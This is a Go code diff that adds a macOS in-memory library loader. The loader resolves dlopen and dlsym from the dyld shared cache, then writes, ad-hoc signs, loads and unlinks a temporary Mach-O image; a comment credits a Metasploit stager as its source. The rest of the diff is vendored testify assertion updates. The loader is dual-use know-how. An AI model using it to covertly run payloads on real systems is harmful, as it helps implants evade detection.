if seg, ok := l.(*macho.Segment); ok {
|
||||
switch seg.Name {
|
||||
case "__LINKEDIT":
|
||||
linkeditSeg = seg
|
||||
linkeditOff = loadOff
|
||||
case "__TEXT":
|
||||
textSeg = seg
|
||||
}
|
||||
}
|
||||
loadOff += int64(sz)
|
||||
}
|
||||
|
||||
if sigOff == 0 {
|
||||
// The C linker doesn't generate a signed binary, for some reason.
|
||||
// Skip.
|
||||
return nil
|
||||
}
|
||||
|
||||
fi, err := f.Stat()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if sigOff+sigSz != fi.Size() {
|
||||
// We don't expect anything after the signature (this will invalidate
|
||||
// the signature anyway.)
|
||||
return fmt.Errorf("unexpected content after code signature")
|
||||
}
|
||||
|
||||
sz := Size(sigOff, "a.out")
|
||||
if sz != sigSz {
|
||||
// Update the load command,
|
||||
var tmp [8]byte
|
||||
mf.ByteOrder.PutUint32(tmp[:4], uint32(sz))
|
||||
_, err = f.WriteAt(tmp[:4], csCmdOff+12)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Uodate the __LINKEDIT segment.
|
||||
segSz := sigOff + sz - int64(linkeditSeg.Offset)
|
||||
mf.ByteOrder.PutUint64(tmp[:8], uint64(segSz))
|
||||
_, err = f.WriteAt(tmp[:8], int64(linkeditOff)+int64(unsafe.Offsetof(macho.Segment64{}.Memsz)))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = f.WriteAt(tmp[:8], int64(linkeditOff)+int64(unsafe.Offsetof(macho.Segment64{}.Filesz)))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
cs := make([]byte, sz)
|
||||
Sign(cs, f, "a.out", sigOff, int64(textSeg.Offset), int64(textSeg.Filesz), false)
|
||||
_, err = f.WriteAt(cs, sigOff)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = f.Truncate(sigOff + sz)
|
||||
return err
|
||||
}
|
||||
+206
-3
@@ -4,6 +4,7 @@ import (
|
||||
"bytes"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"unsafe"
|
||||
|
||||
"github.com/Binject/debug/macho"
|
||||
@@ -14,10 +15,46 @@ import (
|
||||
|
||||
const MaxUint = ^uint(0)
|
||||
const MaxInt = int(MaxUint >> 1)
|
||||
const LIB_DYLD_PATH = "/usr/lib/system/libdyld.dylib"
|
||||
|
||||
func syscallSharedRegionCheckNp() (uint64, error) {
|
||||
var address uint64
|
||||
r1, _, _ := unix.RawSyscall(unix.SYS_SHARED_REGION_CHECK_NP, uintptr(unsafe.Pointer(&address)), 0, 0)
|
||||
if r1 != 0 {
|
||||
return 0, errors.New("shared region check failed")
|
||||
}
|
||||
return address, nil
|
||||
}
|
||||
|
||||
func isSierra() bool {
|
||||
var utsName unix.Utsname
|
||||
err := unix.Uname(&utsName)
|
||||
if err != nil {
|
||||
return true
|
||||
}
|
||||
if utsName.Release[0] == '1' && utsName.Release[1] < '6' {
|
||||
return false
|
||||
}
|
||||
if utsName.Release[0] == '9' && utsName.Release[1] == '.' {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// LoadLibraryImpl - loads a single library to memory, without trying to check or load required imports
|
||||
func LoadLibraryImpl(name string, image *[]byte) (*Library, error) {
|
||||
|
||||
// On MacOS Sierra and up, NSLinkModule is just a wrapper around
|
||||
// dlopen, pwrite and unlink. There's no "in-memory" only method using
|
||||
// dyld4 APIs, so there's no point in using NSCreateObjectFileImageFromMemory and NSLinkModule anymore.
|
||||
// We can just write our own version that:
|
||||
// - writes the binary image to a temporary file
|
||||
// - calls dlopen on the temporary file
|
||||
// - unlinks the temporary file
|
||||
// - uses dlsym to resolve all the symbols
|
||||
// See https://github.com/apple-oss-distributions/dyld/blob/main/dyld/DyldAPIs.cpp#L2785-L2847 for more details.
|
||||
if isSierra() {
|
||||
return LoadLibraryDlopen(name, image)
|
||||
}
|
||||
// force input image to be a bundle
|
||||
// this is not the most efficient method, but it does create the abililty to do more fixups down the road,
|
||||
// like if we added universal file support
|
||||
@@ -120,6 +157,160 @@ func LoadLibraryImpl(name string, image *[]byte) (*Library, error) {
|
||||
return &lib, nil
|
||||
}
|
||||
|
||||
// LoadLibraryDlopen - loads a single library using dlopen and resolves
|
||||
// all exported symbols using dlsym. This function writes to a temporary
|
||||
// file and then loads the file into memory, and unlinks it.
|
||||
// This is similar to what NSLinkModule does nowadays.
|
||||
func LoadLibraryDlopen(name string, image *[]byte) (*Library, error) {
|
||||
var (
|
||||
dlopenAddr uint64
|
||||
dlSymAddr uint64
|
||||
dyldAddress uint64
|
||||
)
|
||||
|
||||
machoFile, err := macho.NewFile(bytes.NewReader(*image))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// We use the shared library cache to find the libdyld.dylib wrapper loaded into our process.
|
||||
// Once we have the address of the libdyld.dylib wrapper, we can parse it in memory using debug/macho (thanks Awgh)
|
||||
// and find the exports we're interested in: dlopen and dlsym.
|
||||
// This part of the code is a port from the awesome work of usiegl00: https://github.com/usiegl00/metasploit-framework/blob/osx-stage-monterey/external/source/shellcode/osx/stager/main.c#L159-L183
|
||||
sharedRegionStart, err := syscallSharedRegionCheckNp()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
dyldCacheheader := (*DyldCacheHeader)(unsafe.Pointer(uintptr(sharedRegionStart)))
|
||||
|
||||
imagesCount := dyldCacheheader.ImagesCountOld
|
||||
if imagesCount == 0 {
|
||||
imagesCount = dyldCacheheader.ImagesCount
|
||||
}
|
||||
imagesOffset := dyldCacheheader.ImagesOffsetOld
|
||||
if imagesOffset == 0 {
|
||||
imagesOffset = dyldCacheheader.ImagesOffset
|
||||
}
|
||||
sharedFileMapping := (*SharedFileMapping)(unsafe.Pointer(uintptr(sharedRegionStart + uint64(dyldCacheheader.MappingOffset))))
|
||||
|
||||
dyldCacheImageInfo := (*DyldCacheImageInfo)(unsafe.Pointer(uintptr(sharedRegionStart + uint64(imagesOffset))))
|
||||
for i := uint32(0); i < imagesCount; i++ {
|
||||
pathFileOffset := sharedRegionStart + uint64(dyldCacheImageInfo.PathFileOffset)
|
||||
dylibPath := readCString(pathFileOffset)
|
||||
if dylibPath == LIB_DYLD_PATH {
|
||||
dyldAddress = dyldCacheImageInfo.Address
|
||||
break
|
||||
}
|
||||
dyldCacheImageInfo = (*DyldCacheImageInfo)(unsafe.Pointer(uintptr(sharedRegionStart+uint64(imagesOffset)) + uintptr(i)*unsafe.Sizeof(DyldCacheImageInfo{})))
|
||||
}
|
||||
|
||||
offset := sharedRegionStart - sharedFileMapping.Address
|
||||
dyldAddress += offset
|
||||
|
||||
rawr := rawreader.New(uintptr(dyldAddress), MaxInt)
|
||||
dyldFile, err := macho.NewFileFromMemory(rawr)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
exports := dyldFile.Exports()
|
||||
|
||||
for _, export := range exports {
|
||||
if export.Name == "_dlopen" {
|
||||
dlopenAddr = export.VirtualAddress + offset
|
||||
}
|
||||
if export.Name == "_dlsym" {
|
||||
dlSymAddr = export.VirtualAddress + offset
|
||||
}
|
||||
}
|
||||
dlopenProc := uintptr(dlopenAddr)
|
||||
dlSymProc := uintptr(dlSymAddr)
|
||||
|
||||
options := 0x80000080 // RTLD_UNLOADABLE | RTLD_NODELETE per https://github.dev/apple-oss-distributions/dyld/blob/419f8cbca6fb3420a248f158714a9d322af2aa5a/dyld/DyldAPIs.cpp#L2818-L2819
|
||||
|
||||
// Create a temp file to write the image to so we can dlopen it.
|
||||
// I wish MacOS had a memfd_create equivalent ...
|
||||
tmpFile, err := ioutil.TempFile("", "")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
filename := tmpFile.Name()
|
||||
imagePath := append([]byte(filename), 0x00) // C strings are the worst
|
||||
|
||||
_, err = tmpFile.Write(*image)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// We need to sign the written file otherwise dlopen will fail on MacOS 11 and up on Apple Silicon machines.
|
||||
// We're just using ad-hoc code signing, so we're not going to do anything fancy here.
|
||||
err = machoCodeSign(filename)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
pseudoHandle, err := cdecl.Call(dlopenProc,
|
||||
uintptr(unsafe.Pointer(&imagePath[0])), // image name
|
||||
uintptr(options)) // image options flags
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if pseudoHandle == 0 {
|
||||
unix.Unlink(filename)
|
||||
return nil, errors.New("dlopen returned 0")
|
||||
}
|
||||
|
||||
// Unlink the temp file, we don't need it anymore
|
||||
err = unix.Unlink(tmpFile.Name())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
exports = machoFile.Exports()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
lib := Library{
|
||||
BaseAddress: pseudoHandle, // library pseudo handle, do not use directly
|
||||
Exports: make(map[string]uint64),
|
||||
}
|
||||
|
||||
// Since the return value from dlopen is a pseudo handle
|
||||
// and not the address of the dylib in memory, we can't
|
||||
// really use it to resolve symbols directly. Instead, we
|
||||
// use dlsym to resolve all symbols ahead of time, that way
|
||||
// the end user can just use Library.Call.
|
||||
// The downside is that Library.BaseAddress is unusable and
|
||||
// any attempt to use it will result in a crash.
|
||||
for _, x := range exports {
|
||||
exportName := append([]byte(x.Name[1:]), 0x00) // strip the _
|
||||
exportPtr, err := cdecl.Call(dlSymProc,
|
||||
pseudoHandle,
|
||||
uintptr(unsafe.Pointer(&exportName[0])))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
lib.Exports[x.Name] = uint64(exportPtr)
|
||||
}
|
||||
return &lib, nil
|
||||
}
|
||||
|
||||
func readCString(pathFileOffset uint64) string {
|
||||
path := ""
|
||||
pathSize := 0
|
||||
for {
|
||||
b := (*byte)(unsafe.Pointer(uintptr(pathFileOffset + uint64(pathSize))))
|
||||
if *b == 0 {
|
||||
break
|
||||
}
|
||||
path += string(*b)
|
||||
pathSize++
|
||||
}
|
||||
return path
|
||||
}
|
||||
|
||||
func isPtrValid(p uintptr) bool {
|
||||
r1, _, err := unix.RawSyscall(unix.SYS_CHMOD, p, 0777, 0)
|
||||
if r1 != 0 && err != 2 {
|
||||
@@ -174,12 +365,24 @@ func findMachoPtr(addr uintptr) (uintptr, error) {
|
||||
|
||||
// Call - call a function in a loaded library
|
||||
func (l *Library) Call(functionName string, args ...uintptr) (uintptr, error) {
|
||||
|
||||
var (
|
||||
proc uintptr
|
||||
funcPtr uint64
|
||||
ok bool
|
||||
)
|
||||
if len(functionName) > 0 && functionName[0] != '_' {
|
||||
functionName = "_" + functionName
|
||||
} // OSX has underscore-prefixed exports
|
||||
|
||||
proc, ok := l.FindProc(functionName)
|
||||
if !isSierra() {
|
||||
proc, ok = l.FindProc(functionName)
|
||||
} else {
|
||||
// Can't rely on FindProc for Sierra and up since
|
||||
// the BaseAddress is a pseudo handle to the lib,
|
||||
// not the actual address.
|
||||
funcPtr, ok = l.Exports[functionName]
|
||||
proc = uintptr(funcPtr)
|
||||
}
|
||||
if !ok {
|
||||
return 0, errors.New("Call did not find export " + functionName)
|
||||
}
|
||||
|
||||
+91
@@ -0,0 +1,91 @@
|
||||
package universal
|
||||
|
||||
type DyldCacheHeader struct {
|
||||
Magic [16]byte
|
||||
MappingOffset uint32
|
||||
MappingCount uint32
|
||||
ImagesOffsetOld uint32
|
||||
ImagesCountOld uint32
|
||||
DyldBaseAddress uint64
|
||||
CodeSignatureOffset uint64
|
||||
CodeSignatureSize uint64
|
||||
SlideInfoOffsetUnused uint64
|
||||
SlideInfoSizeUnused uint64
|
||||
LocalSymbolsOffset uint64
|
||||
LocalSymbolsSize uint64
|
||||
UUID [16]byte
|
||||
CacheType uint64
|
||||
BranchPoolOffset uint32
|
||||
BranchPoolCount uint32
|
||||
AccelerateInfoAddr uint64
|
||||
AccelerateInfoSize uint64
|
||||
ImagesTextOffset uint64
|
||||
ImagesTextCount uint64
|
||||
PatchInfoAddr uint64
|
||||
PatchInfoSize uint64
|
||||
OtherImageGroupAddrUnused uint64
|
||||
OtherImageGroupSizeUnused uint64
|
||||
ProgClosuresAddr uint64
|
||||
ProgClosuresSize uint64
|
||||
ProgClosuresTrieAddr uint64
|
||||
ProgClosuresTrieSize uint64
|
||||
Platform uint32
|
||||
FormatVersion uint32
|
||||
SharedRegionStart uint64
|
||||
SharedRegionSize uint64
|
||||
MaxSlide uint64
|
||||
DylibsImageArrayAddr uint64
|
||||
DylibsImageArraySize uint64
|
||||
DylibsTrieAddr uint64
|
||||
DylibsTrieSize uint64
|
||||
OtherImageArrayAddr uint64
|
||||
OtherImageArraySize uint64
|
||||
OtherTrieAddr uint64
|
||||
OtherTrieSize uint64
|
||||
MappingWithSlideOffset uint32
|
||||
MappingWithSlideCount uint32
|
||||
DylibsPBLStateArrayAddrUnused uint64
|
||||
DylibsPBLSetAddr uint64
|
||||
ProgramsPBLSetPoolAddr uint64
|
||||
ProgramsPBLSetPoolSize uint64
|
||||
ProgramTrieAddr uint64
|
||||
ProgramTrieSize uint32
|
||||
OsVersion uint32
|
||||
AltPlatform uint32
|
||||
AltOsVersion uint32
|
||||
SwiftOptsOffset uint64
|
||||
SwiftOptsSize uint64
|
||||
SubCacheArrayOffset uint32
|
||||
SubCacheArrayCount uint32
|
||||
SymbolFileUUID [16]byte
|
||||
RosettaReadOnlyAddr uint64
|
||||
RosettaReadOnlySize uint64
|
||||
RosettaReadWriteAddr uint64
|
||||
RosettaReadWriteSize uint64
|
||||
ImagesOffset uint32
|
||||
ImagesCount uint32
|
||||
}
|
||||
|
||||
type DyldCacheMappingInfo struct {
|
||||
Address uint64
|
||||
Size uint64
|
||||
FileOffset uint64
|
||||
MaxProt uint32
|
||||
InitProt uint32
|
||||
}
|
||||
|
||||
type DyldCacheImageInfo struct {
|
||||
Address uint64
|
||||
ModTime uint64
|
||||
Inode uint64
|
||||
PathFileOffset uint32
|
||||
Pad uint32
|
||||
}
|
||||
|
||||
type SharedFileMapping struct {
|
||||
Address uint64
|
||||
Size uint64
|
||||
FileOffset uint64
|
||||
MaxProt uint32
|
||||
InitProt uint32
|
||||
}
|
||||
+88
-24
@@ -1,8 +1,10 @@
|
||||
package assert
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"reflect"
|
||||
"time"
|
||||
)
|
||||
|
||||
type CompareType int
|
||||
@@ -30,6 +32,9 @@ var (
|
||||
float64Type = reflect.TypeOf(float64(1))
|
||||
|
||||
stringType = reflect.TypeOf("")
|
||||
|
||||
timeType = reflect.TypeOf(time.Time{})
|
||||
bytesType = reflect.TypeOf([]byte{})
|
||||
)
|
||||
|
||||
func compare(obj1, obj2 interface{}, kind reflect.Kind) (CompareType, bool) {
|
||||
@@ -299,6 +304,47 @@ func compare(obj1, obj2 interface{}, kind reflect.Kind) (CompareType, bool) {
|
||||
return compareLess, true
|
||||
}
|
||||
}
|
||||
// Check for known struct types we can check for compare results.
|
||||
case reflect.Struct:
|
||||
{
|
||||
// All structs enter here. We're not interested in most types.
|
||||
if !canConvert(obj1Value, timeType) {
|
||||
break
|
||||
}
|
||||
|
||||
// time.Time can compared!
|
||||
timeObj1, ok := obj1.(time.Time)
|
||||
if !ok {
|
||||
timeObj1 = obj1Value.Convert(timeType).Interface().(time.Time)
|
||||
}
|
||||
|
||||
timeObj2, ok := obj2.(time.Time)
|
||||
if !ok {
|
||||
timeObj2 = obj2Value.Convert(timeType).Interface().(time.Time)
|
||||
}
|
||||
|
||||
return compare(timeObj1.UnixNano(), timeObj2.UnixNano(), reflect.Int64)
|
||||
}
|
||||
case reflect.Slice:
|
||||
{
|
||||
// We only care about the []byte type.
|
||||
if !canConvert(obj1Value, bytesType) {
|
||||
break
|
||||
}
|
||||
|
||||
// []byte can be compared!
|
||||
bytesObj1, ok := obj1.([]byte)
|
||||
if !ok {
|
||||
bytesObj1 = obj1Value.Convert(bytesType).Interface().([]byte)
|
||||
|
||||
}
|
||||
bytesObj2, ok := obj2.([]byte)
|
||||
if !ok {
|
||||
bytesObj2 = obj2Value.Convert(bytesType).Interface().([]byte)
|
||||
}
|
||||
|
||||
return CompareType(bytes.Compare(bytesObj1, bytesObj2)), true
|
||||
}
|
||||
}
|
||||
|
||||
return compareEqual, false
|
||||
@@ -306,58 +352,76 @@ func compare(obj1, obj2 interface{}, kind reflect.Kind) (CompareType, bool) {
|
||||
|
||||
// Greater asserts that the first element is greater than the second
|
||||
//
|
||||
// assert.Greater(t, 2, 1)
|
||||
// assert.Greater(t, float64(2), float64(1))
|
||||
// assert.Greater(t, "b", "a")
|
||||
// assert.Greater(t, 2, 1)
|
||||
// assert.Greater(t, float64(2), float64(1))
|
||||
// assert.Greater(t, "b", "a")
|
||||
func Greater(t TestingT, e1 interface{}, e2 interface{}, msgAndArgs ...interface{}) bool {
|
||||
return compareTwoValues(t, e1, e2, []CompareType{compareGreater}, "\"%v\" is not greater than \"%v\"", msgAndArgs)
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
}
|
||||
return compareTwoValues(t, e1, e2, []CompareType{compareGreater}, "\"%v\" is not greater than \"%v\"", msgAndArgs...)
|
||||
}
|
||||
|
||||
// GreaterOrEqual asserts that the first element is greater than or equal to the second
|
||||
//
|
||||
// assert.GreaterOrEqual(t, 2, 1)
|
||||
// assert.GreaterOrEqual(t, 2, 2)
|
||||
// assert.GreaterOrEqual(t, "b", "a")
|
||||
// assert.GreaterOrEqual(t, "b", "b")
|
||||
// assert.GreaterOrEqual(t, 2, 1)
|
||||
// assert.GreaterOrEqual(t, 2, 2)
|
||||
// assert.GreaterOrEqual(t, "b", "a")
|
||||
// assert.GreaterOrEqual(t, "b", "b")
|
||||
func GreaterOrEqual(t TestingT, e1 interface{}, e2 interface{}, msgAndArgs ...interface{}) bool {
|
||||
return compareTwoValues(t, e1, e2, []CompareType{compareGreater, compareEqual}, "\"%v\" is not greater than or equal to \"%v\"", msgAndArgs)
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
}
|
||||
return compareTwoValues(t, e1, e2, []CompareType{compareGreater, compareEqual}, "\"%v\" is not greater than or equal to \"%v\"", msgAndArgs...)
|
||||
}
|
||||
|
||||
// Less asserts that the first element is less than the second
|
||||
//
|
||||
// assert.Less(t, 1, 2)
|
||||
// assert.Less(t, float64(1), float64(2))
|
||||
// assert.Less(t, "a", "b")
|
||||
// assert.Less(t, 1, 2)
|
||||
// assert.Less(t, float64(1), float64(2))
|
||||
// assert.Less(t, "a", "b")
|
||||
func Less(t TestingT, e1 interface{}, e2 interface{}, msgAndArgs ...interface{}) bool {
|
||||
return compareTwoValues(t, e1, e2, []CompareType{compareLess}, "\"%v\" is not less than \"%v\"", msgAndArgs)
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
}
|
||||
return compareTwoValues(t, e1, e2, []CompareType{compareLess}, "\"%v\" is not less than \"%v\"", msgAndArgs...)
|
||||
}
|
||||
|
||||
// LessOrEqual asserts that the first element is less than or equal to the second
|
||||
//
|
||||
// assert.LessOrEqual(t, 1, 2)
|
||||
// assert.LessOrEqual(t, 2, 2)
|
||||
// assert.LessOrEqual(t, "a", "b")
|
||||
// assert.LessOrEqual(t, "b", "b")
|
||||
// assert.LessOrEqual(t, 1, 2)
|
||||
// assert.LessOrEqual(t, 2, 2)
|
||||
// assert.LessOrEqual(t, "a", "b")
|
||||
// assert.LessOrEqual(t, "b", "b")
|
||||
func LessOrEqual(t TestingT, e1 interface{}, e2 interface{}, msgAndArgs ...interface{}) bool {
|
||||
return compareTwoValues(t, e1, e2, []CompareType{compareLess, compareEqual}, "\"%v\" is not less than or equal to \"%v\"", msgAndArgs)
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
}
|
||||
return compareTwoValues(t, e1, e2, []CompareType{compareLess, compareEqual}, "\"%v\" is not less than or equal to \"%v\"", msgAndArgs...)
|
||||
}
|
||||
|
||||
// Positive asserts that the specified element is positive
|
||||
//
|
||||
// assert.Positive(t, 1)
|
||||
// assert.Positive(t, 1.23)
|
||||
// assert.Positive(t, 1)
|
||||
// assert.Positive(t, 1.23)
|
||||
func Positive(t TestingT, e interface{}, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
}
|
||||
zero := reflect.Zero(reflect.TypeOf(e))
|
||||
return compareTwoValues(t, e, zero.Interface(), []CompareType{compareGreater}, "\"%v\" is not positive", msgAndArgs)
|
||||
return compareTwoValues(t, e, zero.Interface(), []CompareType{compareGreater}, "\"%v\" is not positive", msgAndArgs...)
|
||||
}
|
||||
|
||||
// Negative asserts that the specified element is negative
|
||||
//
|
||||
// assert.Negative(t, -1)
|
||||
// assert.Negative(t, -1.23)
|
||||
// assert.Negative(t, -1)
|
||||
// assert.Negative(t, -1.23)
|
||||
func Negative(t TestingT, e interface{}, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
}
|
||||
zero := reflect.Zero(reflect.TypeOf(e))
|
||||
return compareTwoValues(t, e, zero.Interface(), []CompareType{compareLess}, "\"%v\" is not negative", msgAndArgs)
|
||||
return compareTwoValues(t, e, zero.Interface(), []CompareType{compareLess}, "\"%v\" is not negative", msgAndArgs...)
|
||||
}
|
||||
|
||||
func compareTwoValues(t TestingT, e1 interface{}, e2 interface{}, allowedComparesResults []CompareType, failMessage string, msgAndArgs ...interface{}) bool {
|
||||
|
||||
Generated
Vendored
+16
@@ -0,0 +1,16 @@
|
||||
//go:build go1.17
|
||||
// +build go1.17
|
||||
|
||||
// TODO: once support for Go 1.16 is dropped, this file can be
|
||||
// merged/removed with assertion_compare_go1.17_test.go and
|
||||
// assertion_compare_legacy.go
|
||||
|
||||
package assert
|
||||
|
||||
import "reflect"
|
||||
|
||||
// Wrapper around reflect.Value.CanConvert, for compatibility
|
||||
// reasons.
|
||||
func canConvert(value reflect.Value, to reflect.Type) bool {
|
||||
return value.CanConvert(to)
|
||||
}
|
||||
+16
@@ -0,0 +1,16 @@
|
||||
//go:build !go1.17
|
||||
// +build !go1.17
|
||||
|
||||
// TODO: once support for Go 1.16 is dropped, this file can be
|
||||
// merged/removed with assertion_compare_go1.17_test.go and
|
||||
// assertion_compare_can_convert.go
|
||||
|
||||
package assert
|
||||
|
||||
import "reflect"
|
||||
|
||||
// Older versions of Go does not have the reflect.Value.CanConvert
|
||||
// method.
|
||||
func canConvert(value reflect.Value, to reflect.Type) bool {
|
||||
return false
|
||||
}
|
||||
+148
-84
@@ -22,9 +22,9 @@ func Conditionf(t TestingT, comp Comparison, msg string, args ...interface{}) bo
|
||||
// Containsf asserts that the specified string, list(array, slice...) or map contains the
|
||||
// specified substring or element.
|
||||
//
|
||||
// assert.Containsf(t, "Hello World", "World", "error message %s", "formatted")
|
||||
// assert.Containsf(t, ["Hello", "World"], "World", "error message %s", "formatted")
|
||||
// assert.Containsf(t, {"Hello": "World"}, "Hello", "error message %s", "formatted")
|
||||
// assert.Containsf(t, "Hello World", "World", "error message %s", "formatted")
|
||||
// assert.Containsf(t, ["Hello", "World"], "World", "error message %s", "formatted")
|
||||
// assert.Containsf(t, {"Hello": "World"}, "Hello", "error message %s", "formatted")
|
||||
func Containsf(t TestingT, s interface{}, contains interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -56,7 +56,7 @@ func ElementsMatchf(t TestingT, listA interface{}, listB interface{}, msg string
|
||||
// Emptyf asserts that the specified object is empty. I.e. nil, "", false, 0 or either
|
||||
// a slice or a channel with len == 0.
|
||||
//
|
||||
// assert.Emptyf(t, obj, "error message %s", "formatted")
|
||||
// assert.Emptyf(t, obj, "error message %s", "formatted")
|
||||
func Emptyf(t TestingT, object interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -66,7 +66,7 @@ func Emptyf(t TestingT, object interface{}, msg string, args ...interface{}) boo
|
||||
|
||||
// Equalf asserts that two objects are equal.
|
||||
//
|
||||
// assert.Equalf(t, 123, 123, "error message %s", "formatted")
|
||||
// assert.Equalf(t, 123, 123, "error message %s", "formatted")
|
||||
//
|
||||
// Pointer variable equality is determined based on the equality of the
|
||||
// referenced values (as opposed to the memory addresses). Function equality
|
||||
@@ -81,8 +81,8 @@ func Equalf(t TestingT, expected interface{}, actual interface{}, msg string, ar
|
||||
// EqualErrorf asserts that a function returned an error (i.e. not `nil`)
|
||||
// and that it is equal to the provided error.
|
||||
//
|
||||
// actualObj, err := SomeFunction()
|
||||
// assert.EqualErrorf(t, err, expectedErrorString, "error message %s", "formatted")
|
||||
// actualObj, err := SomeFunction()
|
||||
// assert.EqualErrorf(t, err, expectedErrorString, "error message %s", "formatted")
|
||||
func EqualErrorf(t TestingT, theError error, errString string, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -90,10 +90,27 @@ func EqualErrorf(t TestingT, theError error, errString string, msg string, args
|
||||
return EqualError(t, theError, errString, append([]interface{}{msg}, args...)...)
|
||||
}
|
||||
|
||||
// EqualExportedValuesf asserts that the types of two objects are equal and their public
|
||||
// fields are also equal. This is useful for comparing structs that have private fields
|
||||
// that could potentially differ.
|
||||
//
|
||||
// type S struct {
|
||||
// Exported int
|
||||
// notExported int
|
||||
// }
|
||||
// assert.EqualExportedValuesf(t, S{1, 2}, S{1, 3}, "error message %s", "formatted") => true
|
||||
// assert.EqualExportedValuesf(t, S{1, 2}, S{2, 3}, "error message %s", "formatted") => false
|
||||
func EqualExportedValuesf(t TestingT, expected interface{}, actual interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
}
|
||||
return EqualExportedValues(t, expected, actual, append([]interface{}{msg}, args...)...)
|
||||
}
|
||||
|
||||
// EqualValuesf asserts that two objects are equal or convertable to the same types
|
||||
// and equal.
|
||||
//
|
||||
// assert.EqualValuesf(t, uint32(123), int32(123), "error message %s", "formatted")
|
||||
// assert.EqualValuesf(t, uint32(123), int32(123), "error message %s", "formatted")
|
||||
func EqualValuesf(t TestingT, expected interface{}, actual interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -103,10 +120,10 @@ func EqualValuesf(t TestingT, expected interface{}, actual interface{}, msg stri
|
||||
|
||||
// Errorf asserts that a function returned an error (i.e. not `nil`).
|
||||
//
|
||||
// actualObj, err := SomeFunction()
|
||||
// if assert.Errorf(t, err, "error message %s", "formatted") {
|
||||
// assert.Equal(t, expectedErrorf, err)
|
||||
// }
|
||||
// actualObj, err := SomeFunction()
|
||||
// if assert.Errorf(t, err, "error message %s", "formatted") {
|
||||
// assert.Equal(t, expectedErrorf, err)
|
||||
// }
|
||||
func Errorf(t TestingT, err error, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -123,6 +140,18 @@ func ErrorAsf(t TestingT, err error, target interface{}, msg string, args ...int
|
||||
return ErrorAs(t, err, target, append([]interface{}{msg}, args...)...)
|
||||
}
|
||||
|
||||
// ErrorContainsf asserts that a function returned an error (i.e. not `nil`)
|
||||
// and that the error contains the specified substring.
|
||||
//
|
||||
// actualObj, err := SomeFunction()
|
||||
// assert.ErrorContainsf(t, err, expectedErrorSubString, "error message %s", "formatted")
|
||||
func ErrorContainsf(t TestingT, theError error, contains string, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
}
|
||||
return ErrorContains(t, theError, contains, append([]interface{}{msg}, args...)...)
|
||||
}
|
||||
|
||||
// ErrorIsf asserts that at least one of the errors in err's chain matches target.
|
||||
// This is a wrapper for errors.Is.
|
||||
func ErrorIsf(t TestingT, err error, target error, msg string, args ...interface{}) bool {
|
||||
@@ -135,7 +164,7 @@ func ErrorIsf(t TestingT, err error, target error, msg string, args ...interface
|
||||
// Eventuallyf asserts that given condition will be met in waitFor time,
|
||||
// periodically checking target function each tick.
|
||||
//
|
||||
// assert.Eventuallyf(t, func() bool { return true; }, time.Second, 10*time.Millisecond, "error message %s", "formatted")
|
||||
// assert.Eventuallyf(t, func() bool { return true; }, time.Second, 10*time.Millisecond, "error message %s", "formatted")
|
||||
func Eventuallyf(t TestingT, condition func() bool, waitFor time.Duration, tick time.Duration, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -143,9 +172,34 @@ func Eventuallyf(t TestingT, condition func() bool, waitFor time.Duration, tick
|
||||
return Eventually(t, condition, waitFor, tick, append([]interface{}{msg}, args...)...)
|
||||
}
|
||||
|
||||
// EventuallyWithTf asserts that given condition will be met in waitFor time,
|
||||
// periodically checking target function each tick. In contrast to Eventually,
|
||||
// it supplies a CollectT to the condition function, so that the condition
|
||||
// function can use the CollectT to call other assertions.
|
||||
// The condition is considered "met" if no errors are raised in a tick.
|
||||
// The supplied CollectT collects all errors from one tick (if there are any).
|
||||
// If the condition is not met before waitFor, the collected errors of
|
||||
// the last tick are copied to t.
|
||||
//
|
||||
// externalValue := false
|
||||
// go func() {
|
||||
// time.Sleep(8*time.Second)
|
||||
// externalValue = true
|
||||
// }()
|
||||
// assert.EventuallyWithTf(t, func(c *assert.CollectT, "error message %s", "formatted") {
|
||||
